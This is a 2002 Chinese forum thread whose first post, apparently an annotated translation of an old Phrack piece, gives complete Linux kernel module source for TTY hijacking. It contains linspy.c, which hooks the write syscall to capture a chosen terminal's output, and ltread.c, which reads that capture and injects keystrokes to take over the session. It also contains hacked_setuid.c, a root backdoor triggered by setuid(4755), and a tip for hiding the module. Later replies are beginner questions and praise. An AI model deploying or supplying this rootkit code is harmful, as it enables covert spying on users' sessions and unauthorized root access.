免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 6668 | 回复: 9
打印 上一主题 下一主题

利用linux内核模块实现TTY hijacking [复制链接]

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2002-12-13 23:21 |只看该作者 |倒序浏览
///////////////////////////////////////////////////////////////////////////
这是很早以前的tty hacking了,其实就是一个初级的内核的键盘钩子的实现原理
后面我会贴出我整理phrack杂志59期里的最新的内核键盘钩子技术
//////////////////////////////////////////////////////////////////////////

                   ============================================
                         利用linux内核模块实现TTY hijacking
                          整理:e4gle<e4gle@whitecell.org>;
                   ============================================

简介
------------
   加载模块是linux中非常有用而又很重要的一项技术, 因为它可以使你在你需要的
时候加载设备的驱动程序。 然而, 也有它坏的一面: 它使内核hacking非常容易。
当你再也无法信任你的kernel的时候会发生些什么呢...?这篇文章的目的就是以简单的
思路来介绍内核模块的利用。

系统调用
------------
   系统调用,是一些可以被利用的底层函数, 他们在核心内部执行。在本文中, 它被利
用来让我们写一个非常简单的tty 截获/监控。所有的代码均在linux系统上面编写并测
试通过,并且不可以被编译运行倒其他系统上。好!让我们开始hacking kernel!

    TTY 截获, 就象tap和ttywatcher等程序是在Solaris,SunOS等其他带STREAMS系统中
很常见, 但是迄今为止在linux平台上就没有这么有用的tty hijacker(注: 我不考虑那种
基于pty的代码就象telnetsnoop程序那样的截获, 也不十分有用,因为你必须尽早准备监控
系统用户).

   因为现在的linux系统普遍缺乏STREAMS (LinSTREAMS似乎就要消失了),所以我们必须
选择一个方法来监控流(stream)。屏蔽击键的问题已经解决,因为我们可以利用TIOCSTI
这个ioctl调用宏来阻塞击键到标准输入流。 一个解决方案, 当然, 就是改变write(2)系
统调用到我们的代码,代码的作用是假如指向我们想要的tty就纪录下来&#59; 我们可以在后面调用
真实的write(2)系统调用。

   很明显, 一个设备驱动会很好地工作。我们可以通过读这个设备来获得已经被纪录的数据,
并且增加一个或两个ioctl来告诉我们的代码确定我们想纪录的那个tty。


改变系统调用
---------------------------
   系统调用可以非常简单的就可以被改变成我自己的代码了。它的工作原理有点象dos系统
里的终端机制以及常驻代码。我们把原来的地址保存到一个变量, 然后设一个新的指针指向
我们的代码。在我们的代码里, 我们可以做一切事情, 当我们结束之后再调用原来的代码。
(译者注:这里是简单介绍了lkm的原理,但太过于简单了。)
   
   一个非常简单的例程就包含在hacked_setuid.c这个文件中, 是一个你可以安装的可加载
模块,并且当它被加载到内核运行时, 一个setuid(4755)将会设置你的uid/euid/gid/egid为0。
(参看附录里面提供的全部代码。)syscalls的地址信息都包含在sys_call_table这个数组里。
这就使我们改变syscalls指向我们自己的代码变的非常简单了。当我们这样做后,很多事情
都变得很简单了...

Linspy的注意事项
--------------------
   这个模块是非常容易被发现的, 所有你所做的都会通过cat /proc/modules来显示的很明
白。但这个问题很好解决,但我这里没有给出解决方法。(e4gle注:其实隐藏模块自身非常好
实现,把register_symtab(NULL)插入到init_module()函数块中即可限制符号输出于/proc/ksyms。)
   用linspy的时候, 你需要创建一个ltap的设备, 主设备号设为40,次设备号为0。好,在这
之后, 运行make程序来insmod linspy这个设备。当它被加载后, 你可以这样运行:ltread [tty],
假如模块运行的很好, 你可以发现已经把用户屏幕屏蔽输出了。

源代码 [use the included extract.c utility to unarchive the code]
---------------------------------------------------------------------


<++>; linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME=&quot;/dev/ltap&quot;'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX

all:linspy ltread setuid

linspy:linspy.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c linspy.c

ltread:
$(CC) $(DN) -o ltread ltread.c

clean:
rm *.o ltread

setuid:hacked_setuid.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c hacked_setuid.c
                                                     
<-->; end Makefile
<++>; linspy/hacked_setuid.c
int errno&#59;
#include <linux/sched.h>;
#include <linux/mm.h>;
#include <linux/malloc.h>;
#include <linux/errno.h>;
#include <linux/sched.h>;
#include <linux/kernel.h>;
#include <linux/times.h>;
#include <linux/utsname.h>;
#include <linux/param.h>;
#include <linux/resource.h>;
#include <linux/signal.h>;
#include <linux/string.h>;
#include <linux/ptrace.h>;
#include <linux/stat.h>;
#include <linux/mman.h>;
#include <linux/mm.h>;
#include <asm/segment.h>;
#include <asm/io.h>;
#include <linux/module.h>;
#include <linux/version.h>;
#include <errno.h>;
#include <linux/unistd.h>;
#include <string.h>;
#include <asm/string.h>;
#include <sys/syscall.h>;
#include <sys/types.h>;
#include <sys/sysmacros.h>;
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE&#59;
#endif
static inline _syscall1(int, setuid, uid_t, uid)&#59;/*用_syscall这个系统调用宏来构建setuid调用
*/
extern void *sys_call_table[]&#59;/*调出系统调用表*/
void *original_setuid&#59; /*原来的setuid*/
extern int hacked_setuid(uid_t uid)/*我们要替换的setuid*/
{
   int i&#59;                     
   if(uid == 4755)
   {
      current->;uid = current->;euid = current->;gid = current->;egid = 0&#59;
      /*使当前进程的uid,euid,gid,egid为零*/
      return 0&#59;
   }
   sys_call_table[SYS_setuid] = original_setuid&#59;/*保存原调用*/
   i = setuid(uid)&#59;
   sys_call_table[SYS_setuid] = hacked_setuid&#59;/*替换调用!*/
   if(i == -1) return -errno&#59;
   else return i&#59;
}
int init_module(void)   /*加载*/
{
   original_setuid = sys_call_table[SYS_setuid]&#59;
   sys_call_table[SYS_setuid] = hacked_setuid&#59;
   return 0&#59;
}
void cleanup_module(void)   /*卸载*/
{
   sys_call_table[SYS_setuid] = original_setuid&#59;
}  
<++>; linspy/linspy.c
int errno&#59;
#include <linux/tty.h>;
#include <linux/sched.h>;
#include <linux/mm.h>;
#include <linux/malloc.h>;
#include <linux/errno.h>;
#include <linux/sched.h>;
#include <linux/kernel.h>;
#include <linux/times.h>;
#include <linux/utsname.h>;
#include <linux/param.h>;
#include <linux/resource.h>;
#include <linux/signal.h>;
#include <linux/string.h>;
#include <linux/ptrace.h>;
#include <linux/stat.h>;
#include <linux/mman.h>;
#include <linux/mm.h>;
#include <asm/segment.h>;
#include <asm/io.h>;
#ifdef MODULE
#include <linux/module.h>;      
#include <linux/version.h>;
#endif
#include <errno.h>;
#include <asm/segment.h>;
#include <linux/unistd.h>;
#include <string.h>;
#include <asm/string.h>;
#include <sys/syscall.h>;
#include <sys/types.h>;
#include <sys/sysmacros.h>;
#include <linux/vt.h>;

/*设置版本信息,假如需要的话 */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE&#59;
#endif

#ifndef MIN
#define MIN(a,b)        ((a) < (b) ? (a) : (b))
#endif

/* 定义缓冲信息 */        

#define BUFFERSZ        2048
char buffer[BUFFERSZ]&#59;
int queue_head = 0&#59;
int queue_tail = 0&#59;

/* taken_over 定义目标机是否可以看到任何输出 */
int taken_over = 0&#59;

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count)&#59;/*构建write调用*/
extern void *sys_call_table[]&#59;

/* linspy设备的设备信息 */
static int linspy_major = 40&#59;
int tty_minor = -1&#59;
int tty_major = 4&#59;

/* 保存原write调用地址 */
void *original_write&#59;

void save_write(char *, size_t)&#59;


int out_queue(void)
{
   int c&#59;
   if(queue_head == queue_tail) return -1&#59;
   c = buffer[queue_head]&#59;
   queue_head++&#59;
   if(queue_head == BUFFERSZ) queue_head=0&#59;
   return c&#59;
}

int in_queue(int ch)
{
   if((queue_tail + 1) == queue_head) return 0&#59;
   buffer[queue_tail] = ch&#59;
   queue_tail++&#59;
   if(queue_tail == BUFFERSZ) queue_tail=0&#59;
   return 1&#59;
}


/* 检查tty是否是我们要寻找的 */
int is_fd_tty(int fd)
{
   struct file *f=NULL&#59;
   struct inode *inode=NULL&#59;
   int mymajor=0&#59;
   int myminor=0&#59;

   if(fd >;= NR_OPEN || !(f=current->;files->;fd[fd]) || !(inode=f->;f_inode))
      return 0&#59;
   mymajor = major(inode->;i_rdev)&#59;
   myminor = minor(inode->;i_rdev)&#59;
   if(mymajor != tty_major) return 0&#59;
   if(myminor != tty_minor) return 0&#59;
   return 1&#59;
}

/* 这是新的write调用 */
extern int new_write(int fd, char *buf, size_t count)
{
   int r&#59;
   if(is_fd_tty(fd))
   {
      if(count >; 0)
         save_write(buf, count)&#59;
      if(taken_over) return count&#59;
   }
   sys_call_table[SYS_write] = original_write&#59;   /*保存原调用*/
   r = write(fd, buf, count)&#59;
   sys_call_table[SYS_write] = new_write&#59;        /*替换新调用*/
   if(r == -1) return -errno&#59;
   else return r&#59;
}


/* 保存write调用的返回值到buffer */
void save_write(char *buf, size_t count)
{
   int i&#59;
   for(i=0&#59;i < count&#59;i++)
      in_queue(get_fs_byte(buf+i))&#59;
}

/* 从ltap设备里读取- queue的返回数据 */
static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
{
   int i&#59;
   int c&#59;
   int cnt=0&#59;
   if(current->;euid != 0) return 0&#59;
   for(i=0&#59;i < count&#59;i++)
   {
      c = out_queue()&#59;
      if(c < 0) break&#59;
      cnt++&#59;
      put_fs_byte(c, buf+i)&#59;
   }
   return cnt&#59;
}

/* 打开ltap设备 */
static int linspy_open(struct inode *in, struct file *fi)
{
   if(current->;euid != 0) return -EIO&#59;
   MOD_INC_USE_COUNT&#59;
   return 0&#59;
}

/* 关闭ltap设备*/
static void linspy_close(struct inode *in, struct file *fi)
{
   taken_over=0&#59;
   tty_minor = -1&#59;
   MOD_DEC_USE_COUNT&#59;
}
            
/* 一些ioctl操作 */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
{
#define LS_SETMAJOR     0
#define LS_SETMINOR     1
#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

   if(current->;euid != 0) return -EIO&#59;
   switch(cmd)
   {
      case LS_SETMAJOR:
         tty_major = args&#59;
         queue_head = 0&#59;
         queue_tail = 0&#59;
         break&#59;
      case LS_SETMINOR:
         tty_minor = args&#59;
         queue_head = 0&#59;
         queue_tail = 0&#59;
         break&#59;
     case LS_FLUSHBUF:
         queue_head=0&#59;
         queue_tail=0&#59;
         break&#59;
     case LS_TOGGLE:
         if(taken_over) taken_over=0&#59;
         else taken_over=1&#59;
         break&#59;
      default:
         return 1&#59;
   }
   return 0&#59;
}


static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL,
linspy_open,
linspy_close,
NULL
}&#59;


/* 加载模块 */
int init_module(void)
{
   original_write = sys_call_table[SYS_write]&#59;
   sys_call_table[SYS_write] = new_write&#59;
   if(register_chrdev(linspy_major, &quot;linspy&quot;, &amp;linspy)) return -EIO&#59;
   return 0&#59;
}

/*卸载模块 */
void cleanup_module(void)
{
   sys_call_table[SYS_write] = original_write&#59;
   unregister_chrdev(linspy_major, &quot;linspy&quot&#59;
}
<-->; end linspy.c
<++>; linspy/ltread.c
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <termios.h>;
#include <string.h>;
#include <fcntl.h>;
#include <signal.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <sys/sysmacros.h>;

struct termios save_termios&#59;
int ttysavefd = -1&#59;
int fd&#59;

#ifndef DEVICE_NAME
#define DEVICE_NAME &quot;/dev/ltap&quot;
#endif

#define LS_SETMAJOR     0
#define LS_SETMINOR     1

#define LS_FLUSHBUF     2
#define LS_TOGGLE       3

void stuff_keystroke(int fd, char key)
{
   ioctl(fd, TIOCSTI, &amp;key)&#59;
}

int tty_cbreak(int fd)
{
   struct termios buff&#59;
   if(tcgetattr(fd, &amp;save_termios) < 0)
      return -1&#59;
   buff = save_termios&#59;
   buff.c_lflag &amp;= ~(ECHO | ICANON)&#59;
   buff.c_cc[VMIN] = 0&#59;
   buff.c_cc[VTIME] = 0&#59;
   if(tcsetattr(fd, TCSAFLUSH, &amp;buff) < 0)
      return -1&#59;
   ttysavefd = fd&#59;
   return 0&#59;
}

char *get_device(char *basedevice)
{
   static char devname[1024]&#59;
   int fd&#59;

   if(strlen(basedevice) >; 12 return NULL&#59;
   if(basedevice[0] == '/')
      strcpy(devname, basedevice)&#59;
   else
      sprintf(devname, &quot;/dev/%s&quot;, basedevice)&#59;
   fd = open(devname, O_RDONLY)&#59;
   if(fd < 0) return NULL&#59;
   if(!isatty(fd)) return NULL&#59;
   close(fd)&#59;
   return devname&#59;
}


int do_ioctl(char *device)
{
   struct stat mystat&#59;

   if(stat(device, &amp;mystat) < 0) return -1&#59;
    fd = open(DEVICE_NAME, O_RDONLY)&#59;
   if(fd < 0) return -1&#59;
   if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1&#59;
   if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1&#59;
}


void sigint_handler(int s)
{
   exit(s)&#59;
}

void cleanup_atexit(void)
{
   puts(&quot; &quot&#59;
   if(ttysavefd >;= 0)
      tcsetattr(ttysavefd, TCSAFLUSH, &amp;save_termios)&#59;
}

main(int argc, char **argv)
{
   int my_tty&#59;
   char *devname&#59;
    unsigned char ch&#59;
   int i&#59;

   if(argc != 2)
   {
      fprintf(stderr, &quot;%s ttyname\n&quot;, argv[0])&#59;
      fprintf(stderr, &quot;ttyname should NOT be your current tty!\n&quot&#59;
      exit(0)&#59;
   }
   devname = get_device(argv[1])&#59;
   if(devname == NULL)
   {
      perror(&quot;get_device&quot&#59;
      exit(0)&#59;
   }
   if(tty_cbreak(0) < 0)
   {
      perror(&quot;tty_cbreak&quot&#59;
      exit(0)&#59;
   }
   atexit(cleanup_atexit)&#59;
   signal(SIGINT, sigint_handler)&#59;
   if(do_ioctl(devname) < 0)
   {
      perror(&quot;do_ioctl&quot&#59;
      exit(0)&#59;
   }
   my_tty = open(devname, O_RDWR)&#59;
   if(my_tty == -1) exit(0)&#59;
   setvbuf(stdout, NULL, _IONBF, 0)&#59;
   printf(&quot;[now monitoring session]\n&quot&#59;
   while(1)
   {
      i = read(0, &amp;ch, 1)&#59;
      if(i >; 0)
      {
         if(ch == 24)
         {
            ioctl(fd, LS_TOGGLE, 0)&#59;
            printf(&quot;[Takeover mode toggled]\n&quot&#59;
         }
         else stuff_keystroke(my_tty, ch)&#59;
      }
      i = read(fd, &amp;ch, 1)&#59;
      if(i >; 0)
         putchar(ch)&#59;
    }
}
<-->; end ltread.c


EOF

e4gle后话:这个代码看起来挺长,其实可以简单理解为通过指定某个TTY的major及minor值,来
获取在它上面的所有输入输出,我们称为TTY hijacking。当然代码似乎很难懂,建议大家先了解
lkm运作的基本原理,以及如何捕获一个系统调用,如何切换内核态和进程的用户态。

代码很多地方我给大家加了注释,希望有助于大家理解。

论坛徽章:
0
2 [报告]
发表于 2002-12-16 08:35 |只看该作者

利用linux内核模块实现TTY hijacking

直接替换线路规程就可以了,搞什么系统调用呢?要是没有源代码你还可以这么做么?譬如SCO的OSR5上你这么实现可以么?呵呵

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
3 [报告]
发表于 2002-12-16 14:21 |只看该作者

利用linux内核模块实现TTY hijacking

为了隐藏度更高,可否说说你的替换线路规程的具体做法?如果你是在应用层,我就能发现你,替换系统调用基本上很难被发现,这就是必要性

SCO,SOLARIS都可以用这种方法做,sco我不太清楚,solaris是有同样的内核动态加载机制,相信sco也有。这和有没有源代码是两回事请

论坛徽章:
0
4 [报告]
发表于 2002-12-16 14:55 |只看该作者

利用linux内核模块实现TTY hijacking

1.不在应用层,直接就是替换掉了TTREAD,LINESW结构的一项,你在这里当做黑客的思路来做(不让人发现),我是作为一个正常的用户来监控TTY的输入,哦,对了,怎么内核模快怎么把数据传到用户进程?
2.还有呀,象WIN的CALLBACK涵数是怎么实现的?是由内河调用的么?
3.怎么把用户的涵数置于内河里运行?写这样的程序有什么用注意的?可以使用系统调用么?
__________________________________________________________________________
我是刚学习LINUX,说错的地方多包涵,打搅你的时候不好意思.

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
5 [报告]
发表于 2002-12-16 15:27 |只看该作者

利用linux内核模块实现TTY hijacking

1,最常用的传递方法就是注册一个proc,然后应用层有个进程来读取就可以了
2,callback函数不是内核调用的
3,请说明白用户函数置于内核中运行是什么意思啊?

论坛徽章:
0
6 [报告]
发表于 2002-12-17 08:39 |只看该作者

利用linux内核模块实现TTY hijacking

1.哦,CALLBACK涵数不是内核调用的,靠,有些书骗我.(嘿嘿不好意思)
2.PROC,有点象伪设备一样,是的么?
3.把用户涵数置于内河运行的意思就是:有点象CALLBACK涵数,但是又有点不一样,就是用户通过系统调用把用户自定义的涵数传给内核,由内河去调用执行,可以做到么?
4.修改系统调用的入口,但是UNIX的系统调用入口可不象DOS那样好找,没有源代码,怎么直接将自己的程序段插进处呀?除非直接修改二进制代码了或者整个替换掉OBJ文件(后一种的可能性不大,那是相当于自己写OS了).
_______________________________________________________________________________
我的水平很低,说错了请别见笑

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
7 [报告]
发表于 2002-12-17 18:55 |只看该作者

利用linux内核模块实现TTY hijacking

2,proc就是伪文件系统,也就是内存中的内核参数
3,你说的这种情况无法实现,要使内核使用我们的函数我们必须写驱动,也就是内核编程
4,不需要知道源代码,linux,solaris,freebsd等现代的操作系统都提供了动态加载内核的机制,提供了一个lkm的框架,我们只需要按照框架编程,替换syscall_table表里的系统调用就可以实现拦截系统调用的目的,具体实现你可以看我的这些文章

论坛徽章:
0
8 [报告]
发表于 2002-12-22 11:37 |只看该作者

利用linux内核模块实现TTY hijacking

如果没有大鹰这句“e4gle后话:这个代码看起来挺长,其实可以简单理解为通过指定某个TTY的major及minor值,来获取在它上面的所有输入输出”
我到现在都还迷糊着呢~!
建议你把这句话放在前面吧,呵呵~!
一句话:看了你这篇文章,我才算从心底说一句:大鹰,I服了YOU~!

论坛徽章:
0
9 [报告]
发表于 2002-12-23 08:50 |只看该作者

利用linux内核模块实现TTY hijacking

下面引用由づ★sl战神2002/12/22 11:37am 发表的内容:
如果没有大鹰这句“e4gle后话:这个代码看起来挺长,其实可以简单理解为通过指定某个TTY的major及minor值,来获取在它上面的所有输入输出”
我到现在都还迷糊着呢~!
建议你把这句话放在前面吧,呵呵~!
一句话 ...
哈哈,鹰先生,怎么样,那么长的代码比不上一句话,看来我要考虑考虑你的&quot;多看代码&quot;的建议了.哈哈

论坛徽章:
0
10 [报告]
发表于 2002-12-23 21:02 |只看该作者

利用linux内核模块实现TTY hijacking

下面引用由menp99992002/12/23 08:50am 发表的内容:
哈哈,鹰先生,怎么样,那么长的代码比不上一句话,看来我要考虑考虑你的&quot;多看代码&quot;的建议了.哈哈

呵呵~!
主要是我水平太凹了点,
不过作为刚刚起步的我来说,
如果没有读大量的程序
我自己都觉得自己不会做到这步的~!

我知道你是大鹰的朋友,
也是高手,
不过我还是觉得大鹰说的话有理,
所以.....不好意思了
或者这个就叫初生牛犊不怕虎吧.
嘿嘿~!
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP